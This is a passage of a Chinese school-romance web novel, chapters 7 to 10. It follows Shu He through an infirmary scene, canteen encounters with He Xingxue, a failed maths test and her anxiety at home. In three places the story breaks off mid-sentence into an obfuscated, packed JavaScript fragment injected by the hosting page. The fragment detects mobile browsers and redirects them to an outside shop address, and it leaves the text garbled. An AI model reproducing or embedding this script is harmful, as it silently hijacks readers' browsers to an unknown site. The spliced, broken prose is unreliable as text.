首先是一段超长的激情念白,紧接着是学生代表慷慨激昂的超长发言,舒禾站得腿酸冒汗之际,总算等到了副校长上台讲话—— “老师们同学们,伴随八月暑风来临,我们也引来了新的学期……” 日头渐高,台上讲得热血沸腾唾沫横飞,台下站得萎靡不振零星减员,队伍中陆续有体质虚弱的人倒下,副校长登高望远,自然将这一幕收入眼下,话音一转—— “我看见我们好几位同学倒下的身影,心里颇感遗憾,步入高中学业虽然繁重,却也应该以身体为先,咱们要把一切有规划有条理地进行下去,没有健康的身体,怎么能专心地学习呢?就像今天,假如他们好好吃了早饭,还会这样吗?” 这个话题很快岔过去,继续他事先准备的演讲稿。 舒禾脸色泛白,心里默念我吃了早饭也快站不住了,刚腹诽完,竟见前面那个女生腿软一跪,毫无征兆地倒下了。 她猝不及防睁大眼睛,顿时着急起来,站在侧前方的周兰芝瞥见,示意她把女生扶到医务室喝点糖浆补充体力。 晕倒就是一瞬间的事,女生膝盖重重磕到粗糙的假草坪上时,意识就恢复了过来,只是身体还有些虚软无力。舒禾上前把她的手搭在自己肩上,女生借力站了起来。 路过后排满脸担忧的任姝宁时,舒禾小声说了句没事,扶着人费力离开了队伍。 医务室就在教学楼和操场中间,并不算远,路上女生勉强抬了抬头,看见舒禾同样苍白的侧脸,心中一酸,特别愧疚地说:“不好意思,麻烦你了……” 舒禾有些胸闷头晕,现在不太能说得出话,只好摇了摇头表示没事。 医务室里人影憧憧,已经有好几个其他班的人坐着休息,舒禾扶着女生进来的时候,还看见了一个意想不到的人—— 那个腿巨长的贺同学竟也安然坐在这里,除去同样苍白的脸色之外,他的校服干爽,头发蓬松,并不像其他人暴晒过后的汗意涔涔,看起来像是一开始就在这里了。 校医走过来,帮她把女生扶到凳子上坐着,递给女生一碗糖浆水后,又赶紧转身去照顾别人。 舒禾忍着头晕准备借靠着墙缓一下,意想不到的是,女生接过碗后没有立刻喝,强撑着提了提声音:“老师,还有她也不太舒服。” 被指着的舒禾微微一怔,抬起眼,校医和贺行雪闻声一同看了过来。 校医一愣,很快过来又给了她一碗,舒禾没有拒绝,轻声说了句谢谢,接着道:“她刚才膝盖磕到草坪上,可能擦伤了。” “好,我去拿消毒水过来。” 医务室里两个校医忙上忙下,贺行雪百无聊赖坐在角落,隔着错杂的人影,时不时掀眼望向对角线那方安坐的人。 女生捧着小小一个白瓷碗,低头一口一口啜着,腮颊就如同白瓷一般细腻雪白,只是那对秀气的细眉不同寻常地蹙了起来,像是彰显主人此刻的难受。 她偶尔偏过头,同旁边的人说话。 “你好点了吗?” 女生点点头,声音还是有些虚弱:“我叫卫音,你叫什么?” “我叫舒禾。” “今天谢谢你,舒禾。” 她的语气听起来有些低落,舒禾忍不住侧了侧目,但卫音像是忍住了,睫毛垂下来掩住神情,没有多说。 沉默蔓延着,直到校医拿着消毒水过来,将女生裤腿向上卷起,露出膝盖红通通的擦伤。 消毒液接触伤口一刹爆发尖锐的刺痛,让卫音猛地抽了口气,舒禾注意到,担忧问:“很疼吗?” 但这好像一种征兆,卫音摇了摇头,胸口的起伏却越来越剧烈,校医匆忙地擦着消毒水,她死死压抑着,嘴唇咬得发白,眼眶有湿润涌出,却兀自强忍着不让一丝声音泄出来。 这个样子让两人都愣了愣,都以为她是被弄疼了,舒禾见还有一边没擦消毒水,想了想,对校医道:“要不您先去照看其他同学,这里让我来?” 想着只是擦个消毒水,校医便应下转身去照看其他人。 卫音肩膀不住地耸动,视线模糊地看着舒禾蹲到她面前,听到她轻声安慰说:“别担心,不会很疼的。” 然而她压抑着说不出话,只是双手扣着凳子边缘用力得发白发颤。膝盖上力道特别轻,像羽毛一般,她几乎感觉不到什么疼痛,但就是突然的,随着女生极轻的动作,却像有暴涨的洪水一瞬从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888988|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里涌出来,卫音胸口剧烈起伏了一下,仿佛心里的精神支柱崩塌瓦解,再也抑制不住地呜咽了出来。 “我、我……”她把脸埋在手心,哭得一抽一抽,舒禾顿时无措地停了手。 “昨晚考、考试,我考得很差。”卫音捂在手心的声音很闷,她断断续续抽泣着说:“我不知道为、什么,明明,明明我暑假一直在学习,可是,还是有好多、好多的题不会……” “我不、不知道为什么这样,晚上熬了很久的夜,我想、想要多花时间……” 舒禾听见她极为明显地哽咽了一下,哭得声音都变了调,上前轻轻拍了拍她的背,安静听着没有说话。 卫音痛苦地呜咽着,像是想把所有情绪一股脑宣泄出来:“早上我没去食堂,直接去了、教室学习……副校长说得对,我、我就是什么都做不好,没有规划,没有条理,学习、没学好,身体、身体也没顾好,我现在还、还要麻烦你……” 她哭了很久,舒禾站在她前面,挡去了很多好奇投来的目光,一直安慰地抚着女生单薄的背。 不知道过了多久,卫音缓缓平复了情绪,抬起一双通红的眼,“对不起,耽误你……” “没关系。”舒禾打断她,慢慢组织着措辞。 “其实,你能分到实验班,就已经特别厉害,领先绝大多数人了,比如我。”她笑了笑,故作轻松地说:“我还是插班进来的呢。” 卫音愣愣地听她说:“昨晚考完我也很崩溃,觉得自己很笨,和你们的差距巨大,就像……像隔了一道天堑,越都越不过去。” “但是,”她笑笑抬起眼,“压力永远不会击垮我,只会让我更努力,努力超越你们所有人。” 舒禾浅浅弯起唇,对她玩笑道:“所以你也加油呀,小心别被我超越啦。” 卫音久久望着她明亮的眼睛,内心崩塌的残垣仿佛在这明亮中,一点点地重建。 她憋住眼泪,努力笑了笑:“好!” 待两人整顿好,时间已不早,医务室的人少了许多,开学典礼也差不多应该结束了。 舒禾便和卫音起身向校医道谢,而后相携着离开。 角落里,贺行雪本是坐在那里躲懒,闲着无聊有一搭没一搭地听,后来不知不觉听出了神…… 明明挺励志的一番话,不知是不是受他不太健康的心理影响,总觉得女生话里有些深藏的难过。 不过这都和他没关系。 贺行雪懒懒地垂着视线,余光瞥见女生一晃而过的影子,完全没在他身旁有一点停顿。 自她进来医务室,一直到现在,好像全程都没有注意过他。 这个荷包蛋明明昨晚还又占他便宜又要微信的。 是现在人太多了?还是她真的在为考试而难过? 贺行雪看着两人背影走到门口,都不知道自己在想什么,心里麻麻的,像有蚂蚁啃咬,竟像昨晚那样,鬼使神差地喊住了她:“哎。” 他刚一出口就反应了过来,顿时想抽自己一巴掌,可是吐出去的音节收不回来,门口那个荷包蛋已经疑惑地望了过来。 贺行雪根本没想好要说什么,迎着女生越来越困惑的目光,刚刚歪倚着的身子不由坐直了,视线却移向了别处。 见他久不说话,舒禾侧头往左右看了看,挽着卫音迟疑道:“你刚才是在叫我们吗?” 贺行雪闻言,这才把视线放到两个女生身上,只两秒,复又收回去,看着门口金灿的阳光随口来了句:“外面天气不错啊。” 舒禾皱起眉头,还站在门口荫蔽处,都已经能感受到外面窒闷的热浪了,她不知道这算什么好天气,想了想,礼貌地回道:“那你可以去操场上享受一下阳光。” 那得晒死人。他喉咙一哽,别开视线,半晌没说话,等两人准备离开了,他心里煎熬着,又转过头去:“你……还好吧?” “我?”舒禾莫名地看着他。 贺行雪含糊嗯了声。 舒禾没怎么听清,但想了想还是说:“挺好的。” ——挺好的。 他惯常用来敷衍人的话。 贺行雪冷恹恹地耷下眉眼,这次真的没再说话。 他坐在原地,眼角余光瞥着两人手挽手出去,又在门外遇到另一个女生,还有一位女老师,几人交谈了几句后,传来了几声笑闹,她们的身影在阳光下渐行渐远,直至消失不见。 贺行雪低头灌了口冰水。 心里突然有点不爽。 8. 第 8 章 开学典礼结束,早上还剩最后一门考试,考完后,便到了午饭时间,教室里众人一哄而散。 前往食堂路上,舒禾惆怅道:“晚上就出成绩了,好快。” 任姝宁苦着脸:“是啊,而且还要调座位,咱俩可能就不能挨在一块了……” “唉。” 两人一同叹了口气,四目相对,又为这突然的默契乐起来。 附中食堂有一面巨大的落地窗,能看见窗外成廊的银杏树大道,春夏碧波掩映,秋时则是满目金黄的盛况,到了冬季,虽然落叶凋敝,却也有种别样的凄凉美感。 因此窗边座位极其抢手,曾经附中有学生为此大打出手,后来学校便制定了规则,每个班每名学生有固定座位,名字粘贴在椅子上,之后以班级为单位,每学期轮换一次位置,保证三年内大家都有机会坐到窗边,边吃边赏美景。 然后舒禾便极其凄惨地发现,九班好像没有粘贴她名字的座位。 可能是因为她昨天临时插班过来,后勤老师还没来得及安排她的座位。 舒禾端着餐盘呆住了,任姝宁也在一旁呆住了,她俩昨晚在教室里吃任姝宁她爹做的“美味佳肴”,根本没来食堂,也就直到现在才发现这件事。 饭点的食堂里一眼望去全是人,摩肩接踵,一个不注意就容易碰撞到打翻餐盘。 “啊,这么多座位怎么找啊……”任姝宁视线扫了一圈,说:“干脆咱俩挤挤一起坐吧。” 食堂座位间隙并不宽敞,而且椅子是焊死的没法移动,两个人坐不仅拥挤,可能还会影响到旁边的同学,舒禾便对她摇了摇头:“你先吃。” 她左右观察了一下,准备端着餐盘站到角落里随便应付两口。 “等等!”一道女声慌慌张张响起,打断她的动作,舒禾端着餐盘疑惑地回头看了一眼,是卫音。 卫音本在专心吃饭,心里一直记挂着早上的事,突然注意到她们,看明白原委后便立刻叫住了她。 “我差不多吃完了,你坐我位置吧!”她囫囵咽下嘴里的饭,说着就要端着餐盘起身。 舒禾看了眼她几乎没怎么动的饭菜,连忙软声拒绝:“不用不用,谢谢你呀。” 先前排队打饭时,她分明看见了卫音身影,只排在她们前面没几个位置,现在可能都没吃上几口。 但卫音似乎有些执意,端起餐盘给她让位置,舒禾苦恼又无措站在那里,正陷入两难时,倏然一道雄浑洪亮的声音冲破嘈杂,跨越了半个食堂传来—— “舒禾!没找到座位吗,你来我们这呗?” 程敬宇往后倚着靠背,伸直手臂向她这边招了招,他旁边还坐着一个男生,隔着人群的夹缝,只能看见他垂着的一个脑袋。 程敬宇这一喊,吸引了很多人的视线,特别是本班认识舒禾的人,都挺好奇地觑探过来。 收到诸多注视,舒禾脸颊有些发烫,很想装死把自己埋起来,可这毕竟是他人好意,她不能不搭理,但要让她像这样扯着嗓子隔空对话,可能这辈子都做不到。 但好在,总算有个可以拒绝卫音的理由,她笑了笑对女生说:“你慢慢吃,我去那边坐吧,谢谢你啦。” 卫音也有些好奇地望了望另一边,不过没有多问,只朝她腼腆笑了笑。 舒禾端着餐盘准备过去时,无意间瞟到任姝宁,女生此刻正以一个大失所望的眼神望着她,捂胸摇头,仿佛在看一个重色轻友的混蛋。 ——程敬宇,那个帅哥的朋友,舒禾什么时候和他们认识的,居然没有告诉她! 到底是至交好友,一个眼神就能让舒禾明白意思,顿时心虚起来,也用眼神无声示意她:我晚点和你解释。 任姝宁轻轻哼了一声。 附中还挺公平,没有因为国际部的高昂学费,就给他们占据食堂的绝佳赏景位置。 舒禾从一个角落走到了另一个角落,程敬宇很热情地招呼道:“纸巾侠,坐这儿吧,我们班好几个八百年不来学校的,座位都要长蘑菇了。” 他指了指他斜前方的一个位置,舒禾点点头笑着应了声好,过去坐下的时候,一抬头,刚好对上对面那个人冷淡的目光。 舒禾扶着餐盘的手一僵,抿了抿唇,犹豫着要不要和他打个招呼之时,男生已经淡淡垂下眼皮,错开了视线。 她不由暗自松了口气。 果然,还是更习惯他这副懒得搭理人的样子,早上那个莫名的问候实在太奇怪了! “纸巾侠,你和老秦一个班啊?”程敬宇说。 “嗯。”舒禾点头,又忍不住道:“你不是知道我名字了嘛,怎么还叫这个……奇怪的称呼。” 程敬宇嘿嘿了两声:“那叫名字显得多生疏啊。” 舒禾讷讷地笑了下。 贺行雪抬头,瞥他一眼:“难不成你们很熟?” 他说这话的时候依旧没给舒禾一个眼神,舒禾也就默默低头吃饭。 程敬宇两眼一瞪:“都坐一张桌上吃饭了还不熟吗?” 贺行雪啧了声,懒得再接话。 “诶,纸巾侠,和老秦一个班怎么样?他是不是跟个老古板似的,一天天就爱研究那个破题。”程敬宇想象了一下。 他们三人从小一起长大,互相怼起来没完没了。 “没有没有,”舒禾连忙否认,思索了一下,发自内心夸赞:“他成绩很好,人也很友善,还会安慰同学。” 虽然安慰的不是那么回事。 这句话她憋在心里没说。 程敬宇一听这夸奖来劲了:“唉哟,评价这么高呢,那我呢,我咋样啊?” 舒禾看看他,真诚道:“大方,热情。” 虽然同样是夸奖,但这字数差异也太明显了,程敬宇有点不服自己被比下去,想拉个人垫底,于是指了指旁边的人:“他呢?” 程敬宇心道,这少爷纯纯狗脾气,怕是没地儿夸了。 他呢。 舒禾回味着这两个字,一时竟没反应过来。 气氛顿默了一瞬。 接着,贺行雪没什么情绪地看了过来。 舒禾一下卡住了。 说实话,他们接触得不算多,他的性格又较为冷淡内敛,而且还对她忽冷忽热的,舒禾到现在都没摸清这个人究竟是什么样子,可这种话也不能当着人面说…… 两道视线还缠在她身上,舒禾愣了半晌,本来下意识想说句“挺好的”,可是抬头的时候一对上男生那张毫无瑕疵的脸,她嘴就莫名一瓢,竟把心里话说了出来—— “很帅。” 反应过来的时候耳根顿时涨红了。 …… 这样和表白有什么区别? 贺行雪略不自在地别过脸。 这个荷包蛋,说话怎么也不收着点。 他不可能会答应的。 程敬宇听完那句“很帅”,瞪着眼直愣了半晌,这才放声说了句“牛逼”。 “可以,那我无法反驳了。” 舒禾尴尬地抿出一个笑,随后把头埋得很低,安静吃饭。 贺行雪再转过眸子时,就只看见女孩子的耳尖,是蜜桃一样的粉红色。 看起来仿佛也是软糯糯的手感。 舒禾已经极度后悔来到这边,只想抓紧吃完离开,腮颊鼓起来,然而还没吃几口,身侧突然落下一道影子,连带着一阵柔和清新的香味。 “咦?新同学?”女生坐在她旁边,好奇问。 程敬宇笑嘻嘻地抢答了:“不是,和老秦一个班的,来吃个饭。” 舒禾抬起眼,只见女生化着淡妆,面若芙蓉,戴了手饰和Cartier耳钉,养护极好的头发黑瀑一般披散下来,虽然穿着校服,却也处处精致。 “你好,我叫秦安然,秦嘉文的姐姐。”秦安然在她旁边坐下,打了声招呼。 舒禾礼貌地放下筷子:“你好,我叫舒禾。” 秦安然点点头,想到自己被拖到这么晚才来吃饭,心里就一阵抱怨,开始忍不住对大家吐槽:“Ethan又给我作品集挑了好多刺,啊,我在办公室里听得是真崩溃。” 程敬宇:“你是咱班第一个雅思7分的人,年级的荣耀啊,Ethan能不严格么。” 他说完又想起什么,“哦”了一声:“阿雪不算。” “还说他呢。”秦安然看向对面不说话的男生,假意生气道:“今早开学典礼都不来,我们在烈日下晒着,他在医务室躲清净,真不仗义。” 贺行雪扫她一眼,不冷不热地说:“也没拦着你不让来。” 话是这么说,可他是拿着医院检查单,有正当理由不参加的。 “我不管啊!诶,那个藕粉糖糕我来晚了没拿到,反正你也不吃,给我呗。” 三人语气十分熟稔,大概相识挺久了。舒禾没有插嘴,一直在埋头吃饭,偶尔抬眼的时候,无意瞥见对面的男生,竟是一粒米一粒米地在往嘴里喂,半天下来,米饭也只受了点轻伤。 她动作顿了顿,内心大受震撼,他是天下掉下来的什么神仙么? 或许是视线停留太久,连旁边的秦安然都注意到了,她循着看过去,了然调笑道:“舒禾你别管,他这人一直就这样,饿不死他。” 舒禾没想到直接被点出来,睫毛紧张地颤了颤,不知道该说什么,难为情地抿唇弯了弯。 贺行雪撩起眼皮和她对视了一秒,舒禾心里一突,心虚地错开视线。 偷看被抓包,她无比老实地低下头乖乖吃饭。 贺行雪没什么食欲,干脆搁了筷子,懒散看了看对面女生。 电光石火间,他好似捕捉到什么,侧眸睨向扔在一边的那袋藕粉糖糕。 刚才秦安然说让他给她,那个荷包蛋是不是,有点吃醋了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888989|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他越细想越匪夷所思。 本来倒是无所谓给不给秦安然,反正他也确实不吃,不过要真给了,荷包蛋应该会难过的吧。 贺行雪不经意掀眸,瞧了她一眼。 女孩正在埋头苦吃,那模样就和他家里那只见了冻干就走不动的猫一般,倒是看不出一点吃醋的征兆。 这个荷包蛋太会藏了。 秦安然还没得到答复,追问道:“给我行不?” 算了,谁让她才刚夸了自己很帅。 贺行雪觉得自己还是太善良了,怪不得从小到大受到那么多追捧,他慢吞吞接了句:“谁说的我不吃?” 秦安然不可置信:“你从小就不吃甜的!” 贺行雪:“现在喜欢了。” 秦安然气道:“啧,抠门精。”她懒得多争论此事,转而道:“哎,你明天真不来了?” 贺行雪嗯了声。 她无精打采地哦了下。 秦安然饭量很小,舒禾总觉得她没吃两口就说吃不下了,随后和朋友离开,又剩下舒禾面对这两个人。 她提了提速赶紧吃了两口,便也端起餐盘准备和二人道别。 起身的时候,她视线在贺行雪脸上一顿:“你……” 贺行雪却好像等待已久似的,直接将旁边那袋藕粉糖糕往她的方向一推:“拿去。” 舒禾一愣,把那句你脸上有根睫毛咽了回去:“你不吃吗?” 贺行雪:“不爱吃。” 舒禾怔了怔。 几分钟前,这个人说的话还不是这样的。 藕粉糖糕的莲藕来自学校后山的那大片荷花池,从取藕到制藕粉最后做成糖糕,全程由食堂老师傅手工制作,由于数量不足,每学年只会限量给学生发放一次,算是附中一大特色。 像这次舒禾考试来晚了,就没有拿到。 但她去年尝过一次,味道特别好吃,清甜不腻,唇齿留香,令人无限回味。 舒禾想不明白短短几分钟他怎么两幅面孔,都说女人心海底针,她觉得这个男生不遑多让,一颗心都快飘忽到外太空了。 不过见他神色不似作伪,舒禾踌躇了会儿,还是收下了,向他真诚道:“谢谢。” 正好,待会儿可以拿来贿赂任姝宁。 “谢谁?”贺行雪懒懒说了句。 “……” 舒禾沉默了。 她好像,还真不记得他名字,单单知道他姓贺。 她呆愣着一时间没说话,这桌的气氛顿时安静下来,贺行雪看着她的眼神从一开始的散漫,渐渐转到奇怪,再到不可置信,最后迸发出一丝黑沉沉的恼意。 舒禾无比尴尬地站着,早知道有这一出,她就不要了,果真是拿人手短啊呜呜呜。 她眼睁睁觑着男生脸色越来越黑,越来越黑……她内心正忐忑,却见男生霎时站了起来! 比她高了好多的人—— 舒禾吓得倒退了一步,以为他要打她,脸都白了。 贺行雪见她动作,冷冷笑了一声,脸色愈发难看,语气平直地问:“识字不?” 舒禾不解其意,呆呆地点头。 随后见男生微微侧过身,指着他椅子上的名字:“给我念念?” 舒禾看过去,上面赫然印着男生名字。 “……贺、行、雪。” 她小声地一字一字念。 念完,没声了。 不知道是不是因为她带了点颤抖的尾音,听起来仿佛多了种婉转旖旎的味道,贺行雪十几年的时光从未知道,自己的名字竟还能被人念得这么好听。 他凝着她脑后乖巧扎好的小啾,只觉胸口像被这发丝软软拂过似的,一股无端的痒意自心底而生,逐渐蔓延到四肢百骸,令人浑身难受又无从找寻。 身体也随之滞了滞,原本满心的恼怒就像被刺破的气球,三两下消散得干干净净。 他极为生硬地“嗯”了声,略僵直地坐下。 他瞥见女孩苍白的脸,不禁开始怀疑自己刚才语气是不是太过了。 女孩极为不自在地站在那里。 贺行雪收回视线,硬邦邦地说:“走吧。” 这两个字被他说得仿佛古代皇帝大赦天下一般的气势。 “哦,好,再见。”舒禾苦不堪言,面上依旧客气地同两人告别,拿着那袋子糖糕,迫不及待去找任姝宁了。 贺行雪盯着桌面发了会儿呆,不知道在想什么。 被两人忽视已久的程敬宇幽幽道:“请问贺大少爷,桌上是有什么脏东西吗?” 贺行雪抬眼朝他看了过来。 程敬宇想起他刚才的双标行为,嘿嘿笑了两声,立马在嘴边做了个拉拉链的表情:“放心放心,其实吧我就是电车里一个冷漠的乘客,刚才什么都没看到。” 贺行雪嫌弃地骂了句:“神经。” 9. 第 9 章 “……事情就是这样。” 舒禾同好友解释完全程,又拿出那袋子藕粉糖糕讨饶道:“阿宁,我为了拿这袋子糖糕,被他吓了好大一跳呢。” 任姝宁这才傲娇道:“那行吧,勉强原谅你,以后可不能有事瞒着我。” 舒禾仓鼠吃食似的点脑袋:“嗯嗯!” 两人一同分吃完了糖糕,任姝宁舔舔唇,意犹未尽道:“下次吃就得等明年了……也不知道明年还能不能吃到。” 毕竟产量有限,每年的份额都很少。 今晚轮到数学老师刘应平守晚自习,铃声响后,一个后脑勺秃亮的大肚腩老师进来,脸色不愉地抱着试卷大步迈上讲台,哄闹的班级里顿时安静下来。 “想必你们心里各自有数,”他嗓音沉沉道,“这次考试,你们都考得特别差,完全刷新了我任职以来的下限!特别是有些人的卷子,简直做得惨目忍睹!” 略带怒气的嗓音,直接给了大家一个下马威,霎时间班上人人噤声。 舒禾脸色白了白,总觉得老师这番话里在特指自己,不由咬着唇深深埋下了头。 课代表收到指示起身分发试卷。这期间,刘应平开始以隔壁班为例,细数平行班的高分试卷,他视线威严地扫过台下学生,压迫感极强,所过之处大家都惴惴低下了头。 但幸亏老师没有把名字点出来,舒禾拿到自己数学试卷的时候,看见上面那个刺目的“88”分,心里重重地咯噔了一下。 她数学虽然不好,却也从没考到过这么低的分数,竟然还没及格。 是因为这次的题太超纲了吗…… 而刘应平下一句话打破了她最后的侥幸:“当然,咱班也有极个别同学成绩不错,秦嘉文,数学148,年级第一。” 这个分数甚至能超越理科实验班的那些人。 班里顿时响起了各种“牛逼”和“卧槽”声,被点到的秦嘉文只是礼貌笑了笑。 晚自习不让讲课,刘应平把门虚掩着,用不大的声音开始评讲试卷。 舒禾努力定了定神,让自己从那种惊惶中走出来,认真听老师讲的内容,可是到了后半部分还是学得有些吃力,后背冒出的冷汗都浸湿了衣衫。 时间一分一秒过去,讲完试卷后,舒禾还沉浸在那些算式里,便要开始调座位了。 她被安排到了门边的第一排第一列,神奇的是,同桌居然是秦嘉文。 “真巧啊。”秦嘉文坐下,朝她微笑道。 舒禾也勉强笑了笑,突然想起来:“对了,那个水杯,周末发手机的时候我把钱转给你吧。” 她又对他解释了一遍原因。 “别,阿雪最后都没收我的钱。” 秦嘉文摇摇头,无奈拒绝着。 当时,他趁着收手机前最后一点时间,在微信上几番恳求,那位大少爷才终于勉强松了口,他立马转了钱过去,却很快被退款回来。 他皱眉想再转的时候,贺行雪一句话打消了他的固执:“再转我不去了。” 秦嘉文没办法,只得作罢,大不了之后再请客让大家聚在一起吃个饭。 舒禾闻言讷讷说了句好吧,也不好再固执,琢磨着之后找机会回馈一个差不多的礼物,便吃力地继续研究那一堆错题。 第二节晚自习结束后,她抬头望望大家还在奋笔疾书的身影,眼神黯淡了些许。这里每个人的成绩都比她好,却也每个人都比她还要努力…… 舒禾特别想留下来继续上完第三节,但是想到家里那段黑漆漆的路,心里又总有不安,思来想去,还是准备把数学练习册带回家写。 起身时,刘应平叫住了她,让她先跟他到教室外面去。 班里几道视线闻声看了过来,舒禾被点名时吓了一跳,忐忑地跟了出去。 今天刚讲完试卷,数学老师找她做什么,难道要训她一顿?该不会要劝她回到平行班吧…… 毕竟她这个分数真的低出了实验班的新境界。 舒禾失魂落魄地在路上胡思乱想着,差点被门槛绊一跤。 幸而老师开口时语气还算温和。 “开学之前,你们班主任一力向何主任担保,说你是个特别有潜力的苗子,要把你安排到实验班。”刘应平看着这个垂头丧气的女生,说完,拧开保温杯喝了口。 这话始料未及,舒禾想到自己糟糕的分数,鼻尖一酸,努力憋回去,盯着脚尖的视线渐渐模糊。 周老师是真的对她很好,可是,她好像没有达到老师对她的期望…… “我看了你其他科目的分数,语文和文综的确特别好,但是,数学这次虽说有超纲的部分,你依旧还有很大的进步空间。”刘应平抬手摸了把他稀松的头发,“所以我和周老师商议了一下,让你和秦嘉文同桌,他几乎不偏科,只是语文相较之下稍弱,你们俩正好可以多相互请教。” “这一两年你加把劲,把数学和英语提一提,年级前十肯定不是问题!”他沉着嗓音给她打劲。 感受到老师的安慰,舒禾憋着眼泪,点点头:“好,我会努力不辜负老师们的期待。” “去吧,回家注意安全。” “谢谢刘老师,再见。” 舒禾掏出钥匙,拧开门锁,客厅里还亮着灯。 舒远山在沙发上看新闻重播,陈燕梅正在卫生间里,把手里两块钱一张的面膜往脸上一贴,探了个头出去。 “回来啦?” 舒禾低着头换鞋,闻声捏紧了书包带子:“嗯……” 陈燕梅一听她这语气就知道不对:“怎么了?考试没考好?” 舒禾闷闷点头。 “哎哟,那有啥的。”陈燕梅干脆走过去把她揽到沙发上一坐,“这才哪到哪啊?高二刚开学呢,我女儿这么聪明的人,还愁考不上大学?” 陈燕梅见她还是瘪着嘴,眼里包着泪,立马心疼地抱过她,摸摸她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888990|192147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头发,半真半假开玩笑:“咱就算真考不上大学,家里不还有个小破理发店给你继承嘛,总归是饿不死的。” 舒远山在一旁附和:“对啊,别给自己那么大压力。” 说是这样说,其实陈燕梅对舒禾很有信心,大概是初中家长会时老师的夸耀太多了吧,她甚至有种理所当然的心理——她的女儿不仅能考上大学,而且一定能考上省内最好的蓉大! 这事儿说出去多有面子啊!陈燕梅美滋滋想象了下牌桌上大家惊艳的目光,想象完了,继续拍着她的背安慰道:“学习急不得,咱脚踏实地一步步慢慢来,今晚要好好休息,明天还得去学校呢。” 舒禾埋头在妈妈怀里蹭了蹭,忍着酸楚长长地“嗯”了一声。 她一方面难过这次的成绩,一方面又对于瞒着爸妈选了文科这件事深感愧疚。妈妈选的路她不愿走,自己选的路又走不好,好像做什么都一事无成,她怎么这么没用啊……趁着这个怀抱,舒禾埋着脸小声呜咽,哭得背脊一抽一抽的。 一直到晚上睡觉时,眼睛还是红肿的,她躺在床上,失神地望着白茫茫的天花板。 黑暗中,焦虑,忐忑,惶惑,各种情绪如附骨之蛆不断蚕食着心神,舒禾手指一点点蜷了起来。 去年中考失利,差十几分才够到重高线。偏偏妈妈又对她寄予厚望。 那个暑假焦头烂额,四处奔走说尽好话,最后绕了一大圈托关系进的蓉大附中。 至今她还记得陈燕梅痛心疾首的模样,一边数钱一边对她耳提面命:“附中教学资源好,你进去之后必须给我好好学,不要浪费我花的那么多钱。等高二分班了就选理科,千万别学你爸那个鬼样子!” 陈燕梅想到这个人就忍不住冷笑:“整天搁店里吟诗作赋的,干啥啥不行,要钱钱没有!过了大半辈子我也算终于看明白了,学理才有前途,你就听妈妈的,妈妈是世界上最不会害你的人。” “你以后要是考上蓉大了,那我这些年的付出就算是没有白费……哦,还有你柜子里那些破小说漫画早点扔掉,少看些没营养的东西!” “还发呆,听见没有!” 陈女士腾出手重重敲在她脑门上。 舒禾吸吸鼻子。 她一直是个循规蹈矩的人,是爸妈心中永远不会忤逆的乖孩子。 若没有杂志社那个意外,她兴许就会走上妈妈安排的道路。 即便现在她拼尽所有勇气,瞒着爸妈走上一条岔路,可也依然是个定时炸弹,谁知道能瞒多久呢? 陈女士随时可能察觉,然后脾气爆发把她骂得狗血淋头,再强行把一切扭回正轨。 在她达不到一个足够好的成绩之前,似乎没什么选择的权利。 正轨通往的未来是什么样的? 她想要的未来又是什么样的…… 舒禾难受地把脸埋进被窝里。 窗外落雨打在雨棚上,滴答、滴答…… 10. 第 10 章 舒禾昨晚失眠了,进教室的时候,险些没听到任姝宁唤她的声音。 座位调整之后,任姝宁换到了最后一排,同桌依旧是个女孩子,叫赵方仪,两人本来在激烈讨论昨天的试卷,任姝宁说得口干舌燥,仰头喝水时瞥见门口进来的身影。 “舒禾!我叫你你怎么不搭理我!” 她有点生气,嗓门提高些许,这一下就把舒禾叫回神了,她顿时停住回座位的脚步,努力调整了下心态,然后倒退着走到任姝宁座位面前,哭丧着脸说:“我刚想事情没听见,怎么啦阿宁。” “我刚问你知不知道贺帅哥脱产的事情,今早论坛上都传开啦,我想着你不是和他们认识么。”任姝宁狐疑地看看她:“不过你怎么心不在焉的?遇到什么事了吗?” 这些天贺行雪俨然成了校论坛的风云人物,一举一动备受瞩目,突然脱产离校让好些蠢蠢欲动的心咔擦碎掉了。 这些心碎成好几瓣的人里面也包括了任姝宁,自从得知那个冷淡帅哥不来学校之后,她每分每秒都在心痛后悔,那天近距离偶遇的时候,怎么就没多看几眼。 附中严令要求学生上交手机,舒禾知道她还有备用机,不过以这个论坛传播的速度来看,类似这样的“地下特务”还不少。 但她对论坛并不是很关注,摇摇头:“没有,我和他们不熟。”犹豫了会儿,含糊其辞回答后一个问题:“昨晚没睡好,早上还在犯迷糊。” “哦。”任姝宁有点近视,闻言眯起眼睛去看教室前面的时钟:“还有十五分钟上课,你还能趁机补一下觉。” 